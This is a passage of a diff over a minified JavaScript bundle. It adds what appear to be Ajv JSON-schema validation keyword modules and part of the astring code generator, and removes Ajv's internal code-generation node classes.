"ValueScope", { enumerable: true, get: function() { - return s7.ValueScope; - } }), Object.defineProperty(t9, "ValueScopeName", { enumerable: true, get: function() { - return s7.ValueScopeName; - } }), Object.defineProperty(t9, "varKinds", { enumerable: true, get: function() { - return s7.varKinds; - } }), t9.operators = { GT: new n8._Code(">"), GTE: new n8._Code(">="), LT: new n8._Code("<"), LTE: new n8._Code("<="), EQ: new n8._Code("==="), NEQ: new n8._Code("!=="), NOT: new n8._Code("!"), OR: new n8._Code("||"), AND: new n8._Code("&&"), ADD: new n8._Code("+") }; - class a7 { - optimizeNodes() { - return this; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = i8(72725), s7 = { keyword: "const", $data: true, error: { message: "must be equal to constant", params: ({ schemaCode: e12 }) => n8._`{allowedValue: ${e12}}` }, code(e12) { + const { gen: t10, data: i9, $data: s8, schemaCode: a7, schema: p7 } = e12; + s8 || p7 && "object" == typeof p7 ? e12.fail$data(n8._`!${(0, r8.useFunc)(t10, o7.default)}(${i9}, ${a7})`) : e12.fail(n8._`${p7} !== ${i9}`); + } }; + t9.default = s7; + }, 51097: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(99868), r8 = { keyword: "dependentRequired", type: "object", schemaType: "object", error: n8.error, code: (e12) => (0, n8.validatePropertyDeps)(e12) }; + t9.default = r8; + }, 36742: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = i8(72725), s7 = { keyword: "enum", schemaType: "array", $data: true, error: { message: "must be equal to one of the allowed values", params: ({ schemaCode: e12 }) => n8._`{allowedValues: ${e12}}` }, code(e12) { + const { gen: t10, data: i9, $data: s8, schema: a7, schemaCode: p7, it: c7 } = e12; + if (!s8 && 0 === a7.length) + throw new Error("enum must have non-empty array"); + const d7 = a7.length >= c7.opts.loopEnum; + let f8; + const l7 = () => null != f8 ? f8 : f8 = (0, r8.useFunc)(t10, o7.default); + let u7; + if (d7 || s8) + u7 = t10.let("valid"), e12.block$data(u7, function() { + t10.assign(u7, false), t10.forOf("v", p7, (e13) => t10.if(n8._`${l7()}(${i9}, ${e13})`, () => t10.assign(u7, true).break())); + }); + else { + if (!Array.isArray(a7)) + throw new Error("ajv implementation error"); + const e13 = t10.const("vSchema", p7); + u7 = (0, n8.or)(...a7.map((t11, r9) => function(e14, t12) { + const r10 = a7[t12]; + return "object" == typeof r10 && null !== r10 ? n8._`${l7()}(${i9}, ${e14}[${t12}])` : n8._`${i9} === ${r10}`; + }(e13, r9))); } - optimizeNames(e12, t10) { - return this; + e12.pass(u7); + } }; + t9.default = s7; + }, 17851: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(72333), r8 = i8(21230), o7 = i8(3936), s7 = i8(81005), a7 = i8(71589), p7 = i8(29594), c7 = i8(38558), d7 = i8(44058), f8 = i8(79520), l7 = i8(36742), u7 = [n8.default, r8.default, o7.default, s7.default, a7.default, p7.default, c7.default, d7.default, { keyword: "type", schemaType: ["string", "array"] }, { keyword: "nullable", schemaType: "boolean" }, f8.default, l7.default]; + t9.default = u7; + }, 87237: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(50458), r8 = { keyword: ["maxContains", "minContains"], type: "array", schemaType: "number", code({ keyword: e12, parentSchema: t10, it: i9 }) { + void 0 === t10.contains && (0, n8.checkStrictMode)(i9, `"${e12}" without "contains" is ignored`); + } }; + t9.default = r8; + }, 38558: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = { keyword: ["maxItems", "minItems"], type: "array", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { + const i9 = "maxItems" === e12 ? "more" : "fewer"; + return n8.str`must NOT have ${i9} than ${t10} items`; + }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { + const { keyword: t10, data: i9, schemaCode: r9 } = e12, o7 = "maxItems" === t10 ? n8.operators.GT : n8.operators.LT; + e12.fail$data(n8._`${i9}.length ${o7} ${r9}`); + } }; + t9.default = r8; + }, 3936: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = i8(26308), s7 = { keyword: ["maxLength", "minLength"], type: "string", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { + const i9 = "maxLength" === e12 ? "more" : "fewer"; + return n8.str`must NOT have ${i9} than ${t10} characters`; + }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { + const { keyword: t10, data: i9, schemaCode: s8, it: a7 } = e12, p7 = "maxLength" === t10 ? n8.operators.GT : n8.operators.LT, c7 = false === a7.opts.unicode ? n8._`${i9}.length` : n8._`${(0, r8.useFunc)(e12.gen, o7.default)}(${i9})`; + e12.fail$data(n8._`${c7} ${p7} ${s8}`); + } }; + t9.default = s7; + }, 72333: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = n8.operators, o7 = { maximum: { okStr: "<=", ok: r8.LTE, fail: r8.GT }, minimum: { okStr: ">=", ok: r8.GTE, fail: r8.LT }, exclusiveMaximum: { okStr: "<", ok: r8.LT, fail: r8.GTE }, exclusiveMinimum: { okStr: ">", ok: r8.GT, fail: r8.LTE } }, s7 = { message: ({ keyword: e12, schemaCode: t10 }) => n8.str`must be ${o7[e12].okStr} ${t10}`, params: ({ keyword: e12, schemaCode: t10 }) => n8._`{comparison: ${o7[e12].okStr}, limit: ${t10}}` }, a7 = { keyword: Object.keys(o7), type: "number", schemaType: "number", $data: true, error: s7, code(e12) { + const { keyword: t10, data: i9, schemaCode: r9 } = e12; + e12.fail$data(n8._`${i9} ${o7[t10].fail} ${r9} || isNaN(${i9})`); + } }; + t9.default = a7; + }, 71589: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = { keyword: ["maxProperties", "minProperties"], type: "object", schemaType: "number", $data: true, error: { message({ keyword: e12, schemaCode: t10 }) { + const i9 = "maxProperties" === e12 ? "more" : "fewer"; + return n8.str`must NOT have ${i9} than ${t10} properties`; + }, params: ({ schemaCode: e12 }) => n8._`{limit: ${e12}}` }, code(e12) { + const { keyword: t10, data: i9, schemaCode: r9 } = e12, o7 = "maxProperties" === t10 ? n8.operators.GT : n8.operators.LT; + e12.fail$data(n8._`Object.keys(${i9}).length ${o7} ${r9}`); + } }; + t9.default = r8; + }, 21230: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = { keyword: "multipleOf", type: "number", schemaType: "number", $data: true, error: { message: ({ schemaCode: e12 }) => n8.str`must be multiple of ${e12}`, params: ({ schemaCode: e12 }) => n8._`{multipleOf: ${e12}}` }, code(e12) { + const { gen: t10, data: i9, schemaCode: r9, it: o7 } = e12, s7 = o7.opts.multipleOfPrecision, a7 = t10.let("res"), p7 = s7 ? n8._`Math.abs(Math.round(${a7}) - ${a7}) > 1e-${s7}` : n8._`${a7} !== parseInt(${a7})`; + e12.fail$data(n8._`(${r9} === 0 || (${a7} = ${i9}/${r9}, ${p7}))`); + } }; + t9.default = r8; + }, 81005: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(94450), r8 = i8(17898), o7 = { keyword: "pattern", type: "string", schemaType: "string", $data: true, error: { message: ({ schemaCode: e12 }) => r8.str`must match pattern "${e12}"`, params: ({ schemaCode: e12 }) => r8._`{pattern: ${e12}}` }, code(e12) { + const { data: t10, $data: i9, schema: o8, schemaCode: s7, it: a7 } = e12, p7 = a7.opts.unicodeRegExp ? "u" : "", c7 = i9 ? r8._`(new RegExp(${s7}, ${p7}))` : (0, n8.usePattern)(e12, o8); + e12.fail$data(r8._`!${c7}.test(${t10})`); + } }; + t9.default = o7; + }, 29594: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(94450), r8 = i8(17898), o7 = i8(50458), s7 = { keyword: "required", type: "object", schemaType: "array", $data: true, error: { message: ({ params: { missingProperty: e12 } }) => r8.str`must have required property '${e12}'`, params: ({ params: { missingProperty: e12 } }) => r8._`{missingProperty: ${e12}}` }, code(e12) { + const { gen: t10, schema: i9, schemaCode: s8, data: a7, $data: p7, it: c7 } = e12, { opts: d7 } = c7; + if (!p7 && 0 === i9.length) + return; + const f8 = i9.length >= d7.loopRequired; + if (c7.allErrors ? function() { + if (f8 || p7) + e12.block$data(r8.nil, l7); + else + for (const t11 of i9) + (0, n8.checkReportMissingProp)(e12, t11); + }() : function() { + const o8 = t10.let("missing"); + if (f8 || p7) { + const i10 = t10.let("valid", true); + e12.block$data(i10, () => function(i11, o9) { + e12.setParams({ missingProperty: i11 }), t10.forOf(i11, s8, () => { + t10.assign(o9, (0, n8.propertyInData)(t10, a7, i11, d7.ownProperties)), t10.if((0, r8.not)(o9), () => { + e12.error(), t10.break(); + }); + }, r8.nil); + }(o8, i10)), e12.ok(i10); + } else + t10.if((0, n8.checkMissingProp)(e12, i9, o8)), (0, n8.reportMissingProp)(e12, o8), t10.else(); + }(), d7.strictRequired) { + const t11 = e12.parentSchema.properties, { definedProperties: n9 } = e12.it; + for (const e13 of i9) + if (void 0 === (null == t11 ? void 0 : t11[e13]) && !n9.has(e13)) { + const t12 = `required property "${e13}" is not defined at "${c7.schemaEnv.baseId + c7.errSchemaPath}" (strictRequired)`; + (0, o7.checkStrictMode)(c7, t12, c7.opts.strictRequired); + } } - } - class p7 extends a7 { - constructor(e12, t10, i9) { - super(), this.varKind = e12, this.name = t10, this.rhs = i9; + function l7() { + t10.forOf("prop", s8, (i10) => { + e12.setParams({ missingProperty: i10 }), t10.if((0, n8.noPropertyInData)(t10, a7, i10, d7.ownProperties), () => e12.error()); + }); } - render({ es5: e12, _n: t10 }) { - const i9 = e12 ? r8.varKinds.var : this.varKind, n9 = void 0 === this.rhs ? "" : ` = ${this.rhs}`; - return `${i9} ${this.name}${n9};` + t10; + } }; + t9.default = s7; + }, 44058: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(69003), r8 = i8(17898), o7 = i8(50458), s7 = i8(72725), a7 = { keyword: "uniqueItems", type: "array", schemaType: "boolean", $data: true, error: { message: ({ params: { i: e12, j: t10 } }) => r8.str`must NOT have duplicate items (items ## ${t10} and ${e12} are identical)`, params: ({ params: { i: e12, j: t10 } }) => r8._`{i: ${e12}, j: ${t10}}` }, code(e12) { + const { gen: t10, data: i9, $data: a8, schema: p7, parentSchema: c7, schemaCode: d7, it: f8 } = e12; + if (!a8 && !p7) + return; + const l7 = t10.let("valid"), u7 = c7.items ? (0, n8.getSchemaTypes)(c7.items) : []; + function m7(o8, s8) { + const a9 = t10.name("item"), p8 = (0, n8.checkDataTypes)(u7, a9, f8.opts.strictNumbers, n8.DataType.Wrong), c8 = t10.const("indices", r8._`{}`); + t10.for(r8._`;${o8}--;`, () => { + t10.let(a9, r8._`${i9}[${o8}]`), t10.if(p8, r8._`continue`), u7.length > 1 && t10.if(r8._`typeof ${a9} == "string"`, r8._`${a9} += "_"`), t10.if(r8._`typeof ${c8}[${a9}] == "number"`, () => { + t10.assign(s8, r8._`${c8}[${a9}]`), e12.error(), t10.assign(l7, false).break(); + }).code(r8._`${c8}[${a9}] = ${o8}`); + }); } - optimizeNames(e12, t10) { - if (e12[this.name.str]) - return this.rhs && (this.rhs = E6(this.rhs, e12, t10)), this; + function h8(n9, a9) { + const p8 = (0, o7.useFunc)(t10, s7.default), c8 = t10.name("outer"); + t10.label(c8).for(r8._`;${n9}--;`, () => t10.for(r8._`${a9} = ${n9}; ${a9}--;`, () => t10.if(r8._`${p8}(${i9}[${n9}], ${i9}[${a9}])`, () => { + e12.error(), t10.assign(l7, false).break(c8); + }))); } - get names() { - return this.rhs instanceof n8._CodeOrName ? this.rhs.names : {}; + e12.block$data(l7, function() { + const n9 = t10.let("i", r8._`${i9}.length`), o8 = t10.let("j"); + e12.setParams({ i: n9, j: o8 }), t10.assign(l7, true), t10.if(r8._`${n9} > 1`, () => (u7.length > 0 && !u7.some((e13) => "object" === e13 || "array" === e13) ? m7 : h8)(n9, o8)); + }, r8._`${d7} === false`), e12.ok(l7); + } }; + t9.default = a7; + }, 14891: (e11, t9) => { + "use strict"; + function i8(e12, t10) { + for (var i9 = 0; i9 < t10.length; i9++) { + var n9 = t10[i9]; + n9.enumerable = n9.enumerable || false, n9.configurable = true, "value" in n9 && (n9.writable = true), Object.defineProperty(e12, n9.key, n9); } } - class c7 extends a7 { - constructor(e12, t10, i9) { - super(), this.lhs = e12, this.rhs = t10, this.sideEffects = i9; - } - render({ _n: e12 }) { - return `${this.lhs} = ${this.rhs};` + e12; - } - optimizeNames(e12, t10) { - if (!(this.lhs instanceof n8.Name) || e12[this.lhs.str] || this.sideEffects) - return this.rhs = E6(this.rhs, e12, t10), this; - } - get names() { - return I6(this.lhs instanceof n8.Name ? {} : { ...this.lhs.names }, this.rhs); + Object.defineProperty(t9, "__esModule", { value: true }), t9.generate = function(e12, t10) { + var i9 = new x7(t10); + return i9.generator[e12.type](e12, i9), i9.output; + }, t9.baseGenerator = t9.GENERATOR = t9.EXPRESSIONS_PRECEDENCE = t9.NEEDS_PARENTHESES = void 0; + var n8 = JSON.stringify; + if (!String.prototype.repeat) + throw new Error("String.prototype.repeat is undefined, see https://github.com/davidbonnet/astring#installation"); + if (!String.prototype.endsWith) + throw new Error("String.prototype.endsWith is undefined, see https://github.com/davidbonnet/astring#installation"); + var r8 = { "||": 2, "??": 3, "&&": 4, "|": 5, "^": 6, "&": 7, "==": 8, "!=": 8, "===": 8, "!==": 8, "<": 9, ">": 9, "<=": 9, ">=": 9, in: 9, instanceof: 9, "<<": 10, ">>": 10, ">>>": 10, "+": 11, "-": 11, "*": 12, "%": 12, "/": 12, "**": 13 }, o7 = 17; + t9.NEEDS_PARENTHESES = o7; + var s7, a7, p7, c7, d7, f8, l7 = { ArrayExpression: 20, TaggedTemplateExpression: 20, ThisExpression: 20, Identifier: 20, PrivateIdentifier: 20, Literal: 18, TemplateLiteral: 20, Super: 20, SequenceExpression: 20, MemberExpression: 19, ChainExpression: 19, CallExpression: 19, NewExpression: 19, ArrowFunctionExpression: o7, ClassExpression: o7, FunctionExpression: o7, ObjectExpression: o7, UpdateExpression: 16, UnaryExpression: 15, AwaitExpression: 15, BinaryExpression: 14, LogicalExpression: 13, ConditionalExpression: 4, AssignmentExpression: 3, YieldExpression: 2, RestElement: 1 }; + function u7(e12, t10) { + var i9 = e12.generator; + if (e12.write("("), null != t10 && t10.length > 0) { + i9[t10[0].type](t10[0], e12); + for (var n9 = t10.length, r9 = 1; r9 < n9; r9++) { + var o8 = t10[r9]; + e12.write(", "), i9[o8.type](o8, e12); + } } + e12.write(")"); } - class d7 extends c7 { - constructor(e12, t10, i9, n9) { - super(e12, i9, n9), this.op = t10; - } - render({ _n: e12 }) { - return `${this.lhs} ${this.op}= ${this.rhs};` + e12; - } + function m7(e12, t10, i9, n9) { + var s8 = e12.expressionsPrecedence[t10.type]; + if (s8 === o7) + return true; + var a8 = e12.expressionsPrecedence[i9.type]; + return s8 !== a8 ? !n9 && 15 === s8 && 14 === a8 && "**" === i9.operator || s8 < a8 : (13 === s8 || 14 === s8) && ("**" === t10.operator && "**" === i9.operator ? !n9 : 13 === s8 && 13 === a8 && ("??" === t10.operator || "??" === i9.operator) || (n9 ? r8[t10.operator] <= r8[i9.operator] : r8[t10.operator] < r8[i9.operator])); } - class f8 extends a7 { - constructor(e12) { - super(), this.label = e12, this.names = {}; - } - render({ _n: e12 }) { - return `${this.label}:` + e12; - } + function h8(e12, t10, i9, n9) { + var r9 = e12.generator; + m7(e12, t10, i9, n9) ? (e12.write("("), r9[t10.type](t10, e12), e12.write(")")) : r9[t10.type](t10, e12); } - class l7 extends a7 { - constructor(e12) { - super(), this.label = e12, this.names = {}; - } - render({ _n: e12 }) { - return `break${this.label ? ` ${this.label}` : ""};` + e12; + function y7(e12, t10, i9, n9) { + var r9 = t10.split("\n"), o8 = r9.length - 1; + if (e12.write(r9[0].trim()), o8 > 0) { + e12.write(n9); + for (var s8 = 1; s8 < o8; s8++) + e12.write(i9 + r9[s8].trim() + n9); + e12.write(i9 + r9[o8].trim()); } } - class u7 extends a7 { - constructor(e12) { - super(), this.error = e12; - } - render({ _n: e12 }) { - return `throw ${this.error};` + e12; + function g7(e12, t10, i9, n9) { + for (var r9 = t10.length, o8 = 0; o8 < r9; o8++) { + var s8 = t10[o8]; + e12.write(i9), "L" === s8.type[0] ? e12.write("// " + s8.value.trim() + "\n", s8) : (e12.write("/*"), y7(e12, s8.value, i9, n9), e12.write("*/" + n9)); } - get names() { - return this.error.names; + } + function b8(e12, t10) { + var i9 = e12.generator, n9 = t10.declarations; + e12.write(t10.kind + " "); + var r9 = n9.length; + if (r9 > 0) { + i9.VariableDeclarator(n9[0], e12); + for (var o8 = 1; o8 < r9; o8++) + e12.write(", "), i9.VariableDeclarator(n9[o8], e12); } } - class m7 extends a7 { - constructor(e12) { - super(), this.code = e12; + t9.EXPRESSIONS_PRECEDENCE = l7; + var v8 = { Program: function(e12, t10) { + var i9 = t10.indent.repeat(t10.indentLevel), n9 = t10.lineEnd, r9 = t10.writeComments; + r9 && null != e12.comments && g7(t10, e12.comments, i9, n9); + for (var o8 = e12.body, s8 = o8.length, a8 = 0; a8 < s8; a8++) { + var p8 = o8[a8]; + r9 && null != p8.comments && g7(t10, p8.comments, i9, n9), t10.write(i9), this[p8.type](p8, t10), t10.write(n9); } - render({ _n: e12 }) { - return `${this.code};` + e12; + r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, i9, n9); + }, BlockStatement: f8 = function(e12, t10) { + var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments, o8 = i9 + t10.indent; + t10.write("{"); + var s8 = e12.body; + if (null != s8 && s8.length > 0) { + t10.write(n9), r9 && null != e12.comments && g7(t10, e12.comments, o8, n9); + for (var a8 = s8.length, p8 = 0; p8 < a8; p8++) { + var c8 = s8[p8]; + r9 && null != c8.comments && g7(t10, c8.comments, o8, n9), t10.write(o8), this[c8.type](c8, t10), t10.write(n9); + } + t10.write(i9); + } else + r9 && null != e12.comments && (t10.write(n9), g7(t10, e12.comments, o8, n9), t10.write(i9)); + r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write("}"), t10.indentLevel--; + }, ClassBody: f8, StaticBlock: function(e12, t10) { + t10.write("static "), this.BlockStatement(e12, t10); + }, EmptyStatement: function(e12, t10) { + t10.write(";"); + }, ExpressionStatement: function(e12, t10) { + var i9 = t10.expressionsPrecedence[e12.expression.type]; + i9 === o7 || 3 === i9 && "O" === e12.expression.left.type[0] ? (t10.write("("), this[e12.expression.type](e12.expression, t10), t10.write(")")) : this[e12.expression.type](e12.expression, t10), t10.write(";"); + }, IfStatement: function(e12, t10) { + t10.write("if ("), this[e12.test.type](e12.test, t10), t10.write(") "), this[e12.consequent.type](e12.consequent, t10), null != e12.alternate && (t10.write(" else "), this[e12.alternate.type](e12.alternate, t10)); + }, LabeledStatement: function(e12, t10) { + this[e12.label.type](e12.label, t10), t10.write(": "), this[e12.body.type](e12.body, t10); + }, BreakStatement: function(e12, t10) { + t10.write("break"), null != e12.label && (t10.write(" "), this[e12.label.type](e12.label, t10)), t10.write(";"); + }, ContinueStatement: function(e12, t10) { + t10.write("continue"), null != e12.label && (t10.write(" "), this[e12.label.type](e12.label, t10)), t10.write(";"); + }, WithStatement: function(e12, t10) { + t10.write("with ("), this[e12.object.type](e12.object, t10), t10.write(") "), this[e12.body.type](e12.body, t10); + }, SwitchStatement: function(e12, t10) { + var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments; + t10.indentLevel++; + var o8 = i9 + t10.indent, s8 = o8 + t10.indent; + t10.write("switch ("), this[e12.discriminant.type](e12.discriminant, t10), t10.write(") {" + n9); + for (var a8 = e12.cases, p8 = a8.length, c8 = 0; c8 < p8; c8++) { + var d8 = a8[c8]; + r9 && null != d8.comments && g7(t10, d8.comments, o8, n9), d8.test ? (t10.write(o8 + "case "), this[d8.test.type](d8.test, t10), t10.write(":" + n9)) : t10.write(o8 + "default:" + n9); + for (var f9 = d8.consequent, l8 = f9.length, u8 = 0; u8 < l8; u8++) { + var m8 = f9[u8]; + r9 && null != m8.comments && g7(t10, m8.comments, s8, n9), t10.write(s8), this[m8.type](m8, t10), t10.write(n9); + } } - optimizeNodes() { - return `${this.code}` ? this : void 0; + t10.indentLevel -= 2, t10.write(i9 + "}"); + }, ReturnStatement: function(e12, t10) { + t10.write("return"), e12.argument && (t10.write(" "), this[e12.argument.type](e12.argument, t10)), t10.write(";"); + }, ThrowStatement: function(e12, t10) { + t10.write("throw "), this[e12.argument.type](e12.argument, t10), t10.write(";"); + }, TryStatement: function(e12, t10) { + if (t10.write("try "), this[e12.block.type](e12.block, t10), e12.handler) { + var i9 = e12.handler; + null == i9.param ? t10.write(" catch ") : (t10.write(" catch ("), this[i9.param.type](i9.param, t10), t10.write(") ")), this[i9.body.type](i9.body, t10); } - optimizeNames(e12, t10) { - return this.code = E6(this.code, e12, t10), this; + e12.finalizer && (t10.write(" finally "), this[e12.finalizer.type](e12.finalizer, t10)); + }, WhileStatement: function(e12, t10) { + t10.write("while ("), this[e12.test.type](e12.test, t10), t10.write(") "), this[e12.body.type](e12.body, t10); + }, DoWhileStatement: function(e12, t10) { + t10.write("do "), this[e12.body.type](e12.body, t10), t10.write(" while ("), this[e12.test.type](e12.test, t10), t10.write(");"); + }, ForStatement: function(e12, t10) { + if (t10.write("for ("), null != e12.init) { + var i9 = e12.init; + "V" === i9.type[0] ? b8(t10, i9) : this[i9.type](i9, t10); } - get names() { - return this.code instanceof n8._CodeOrName ? this.code.names : {}; + t10.write("; "), e12.test && this[e12.test.type](e12.test, t10), t10.write("; "), e12.update && this[e12.update.type](e12.update, t10), t10.write(") "), this[e12.body.type](e12.body, t10); + }, ForInStatement: s7 = function(e12, t10) { + t10.write("for ".concat(e12.await ? "await " : "", "(")); + var i9 = e12.left; + "V" === i9.type[0] ? b8(t10, i9) : this[i9.type](i9, t10), t10.write("I" === e12.type[3] ? " in " : " of "), this[e12.right.type](e12.right, t10), t10.write(") "), this[e12.body.type](e12.body, t10); + }, ForOfStatement: s7, DebuggerStatement: function(e12, t10) { + t10.write("debugger;", e12); + }, FunctionDeclaration: a7 = function(e12, t10) { + t10.write((e12.async ? "async " : "") + (e12.generator ? "function* " : "function ") + (e12.id ? e12.id.name : ""), e12), u7(t10, e12.params), t10.write(" "), this[e12.body.type](e12.body, t10); + }, FunctionExpression: a7, VariableDeclaration: function(e12, t10) { + b8(t10, e12), t10.write(";"); + }, VariableDeclarator: function(e12, t10) { + this[e12.id.type](e12.id, t10), null != e12.init && (t10.write(" = "), this[e12.init.type](e12.init, t10)); + }, ClassDeclaration: function(e12, t10) { + if (t10.write("class " + (e12.id ? "".concat(e12.id.name, " ") : ""), e12), e12.superClass) { + t10.write("extends "); + var i9 = e12.superClass, n9 = i9.type, r9 = t10.expressionsPrecedence[n9]; + "C" === n9[0] && "l" === n9[1] && "E" === n9[5] || !(r9 === o7 || r9 < t10.expressionsPrecedence.ClassExpression) ? this[i9.type](i9, t10) : (t10.write("("), this[e12.superClass.type](i9, t10), t10.write(")")), t10.write(" "); } - } - class h8 extends a7 { - constructor(e12 = []) { - super(), this.nodes = e12; + this.ClassBody(e12.body, t10); + }, ImportDeclaration: function(e12, t10) { + t10.write("import "); + var i9 = e12.specifiers, n9 = i9.length, r9 = 0; + if (n9 > 0) { + for (; r9 < n9; ) { + r9 > 0 && t10.write(", "); + var o8 = i9[r9], s8 = o8.type[6]; + if ("D" === s8) + t10.write(o8.local.name, o8), r9++; + else { + if ("N" !== s8) + break; + t10.write("* as " + o8.local.name, o8), r9++; + } + } + if (r9 < n9) { + for (t10.write("{"); ; ) { + var a8 = i9[r9], p8 = a8.imported.name; + if (t10.write(p8, a8), p8 !== a8.local.name && t10.write(" as " + a8.local.name), !(++r9 < n9)) + break; + t10.write(", "); + } + t10.write("}"); + } + t10.write(" from "); } - render(e12) { - return this.nodes.reduce((t10, i9) => t10 + i9.render(e12), ""); + this.Literal(e12.source, t10), t10.write(";"); + }, ImportExpression: function(e12, t10) { + t10.write("import("), this[e12.source.type](e12.source, t10), t10.write(")"); + }, ExportDefaultDeclaration: function(e12, t10) { + t10.write("export default "), this[e12.declaration.type](e12.declaration, t10), null != t10.expressionsPrecedence[e12.declaration.type] && "F" !== e12.declaration.type[0] && t10.write(";"); + }, ExportNamedDeclaration: function(e12, t10) { + if (t10.write("export "), e12.declaration) + this[e12.declaration.type](e12.declaration, t10); + else { + t10.write("{"); + var i9 = e12.specifiers, n9 = i9.length; + if (n9 > 0) + for (var r9 = 0; ; ) { + var o8 = i9[r9], s8 = o8.local.name; + if (t10.write(s8, o8), s8 !== o8.exported.name && t10.write(" as " + o8.exported.name), !(++r9 < n9)) + break; + t10.write(", "); + } + t10.write("}"), e12.source && (t10.write(" from "), this.Literal(e12.source, t10)), t10.write(";"); } - optimizeNodes() { - const { nodes: e12 } = this; - let t10 = e12.length; - for (; t10--; ) { - const i9 = e12[t10].optimizeNodes(); - Array.isArray(i9) ? e12.splice(t10, 1, ...i9) : i9 ? e12[t10] = i9 : e12.splice(t10, 1); - } - return e12.length > 0 ? this : void 0; + }, ExportAllDeclaration: function(e12, t10) { + null != e12.exported ? t10.write("export * as " + e12.exported.name + " from ") : t10.write("export * from "), this.Literal(e12.source, t10), t10.write(";"); + }, MethodDefinition: function(e12, t10) { + e12.static && t10.write("static "); + var i9 = e12.kind[0]; + "g" !== i9 && "s" !== i9 || t10.write(e12.kind + " "), e12.value.async && t10.write("async "), e12.value.generator && t10.write("*"), e12.computed ? (t10.write("["), this[e12.key.type](e12.key, t10), t10.write("]")) : this[e12.key.type](e12.key, t10), u7(t10, e12.value.params), t10.write(" "), this[e12.value.body.type](e12.value.body, t10); + }, ClassExpression: function(e12, t10) { + this.ClassDeclaration(e12, t10); + }, ArrowFunctionExpression: function(e12, t10) { + t10.write(e12.async ? "async " : "", e12); + var i9 = e12.params; + null != i9 && (1 === i9.length && "I" === i9[0].type[0] ? t10.write(i9[0].name, i9[0]) : u7(t10, e12.params)), t10.write(" => "), "O" === e12.body.type[0] ? (t10.write("("), this.ObjectExpression(e12.body, t10), t10.write(")")) : this[e12.body.type](e12.body, t10); + }, ThisExpression: function(e12, t10) { + t10.write("this", e12); + }, Super: function(e12, t10) { + t10.write("super", e12); + }, RestElement: p7 = function(e12, t10) { + t10.write("..."), this[e12.argument.type](e12.argument, t10); + }, SpreadElement: p7, YieldExpression: function(e12, t10) { + t10.write(e12.delegate ? "yield*" : "yield"), e12.argument && (t10.write(" "), this[e12.argument.type](e12.argument, t10)); + }, AwaitExpression: function(e12, t10) { + t10.write("await ", e12), h8(t10, e12.argument, e12); + }, TemplateLiteral: function(e12, t10) { + var i9 = e12.quasis, n9 = e12.expressions; + t10.write("`"); + for (var r9 = n9.length, o8 = 0; o8 < r9; o8++) { + var s8 = n9[o8], a8 = i9[o8]; + t10.write(a8.value.raw, a8), t10.write("${"), this[s8.type](s8, t10), t10.write("}"); } - optimizeNames(e12, t10) { - const { nodes: i9 } = this; - let n9 = i9.length; - for (; n9--; ) { - const r9 = i9[n9]; - r9.optimizeNames(e12, t10) || (q5(e12, r9.names), i9.splice(n9, 1)); + var p8 = i9[i9.length - 1]; + t10.write(p8.value.raw, p8), t10.write("`"); + }, TemplateElement: function(e12, t10) { + t10.write(e12.value.raw, e12); + }, TaggedTemplateExpression: function(e12, t10) { + h8(t10, e12.tag, e12), this[e12.quasi.type](e12.quasi, t10); + }, ArrayExpression: d7 = function(e12, t10) { + if (t10.write("["), e12.elements.length > 0) + for (var i9 = e12.elements, n9 = i9.length, r9 = 0; ; ) { + var o8 = i9[r9]; + if (null != o8 && this[o8.type](o8, t10), !(++r9 < n9)) { + null == o8 && t10.write(", "); + break; + } + t10.write(", "); } - return i9.length > 0 ? this : void 0; - } - get names() { - return this.nodes.reduce((e12, t10) => A6(e12, t10.names), {}); + t10.write("]"); + }, ArrayPattern: d7, ObjectExpression: function(e12, t10) { + var i9 = t10.indent.repeat(t10.indentLevel++), n9 = t10.lineEnd, r9 = t10.writeComments, o8 = i9 + t10.indent; + if (t10.write("{"), e12.properties.length > 0) { + t10.write(n9), r9 && null != e12.comments && g7(t10, e12.comments, o8, n9); + for (var s8 = "," + n9, a8 = e12.properties, p8 = a8.length, c8 = 0; ; ) { + var d8 = a8[c8]; + if (r9 && null != d8.comments && g7(t10, d8.comments, o8, n9), t10.write(o8), this[d8.type](d8, t10), !(++c8 < p8)) + break; + t10.write(s8); + } + t10.write(n9), r9 && null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}"); + } else + r9 ? null != e12.comments ? (t10.write(n9), g7(t10, e12.comments, o8, n9), null != e12.trailingComments && g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}")) : null != e12.trailingComments ? (t10.write(n9), g7(t10, e12.trailingComments, o8, n9), t10.write(i9 + "}")) : t10.write("}") : t10.write("}"); + t10.indentLevel--; + }, Property: function(e12, t10) { + e12.method || "i" !== e12.kind[0] ? 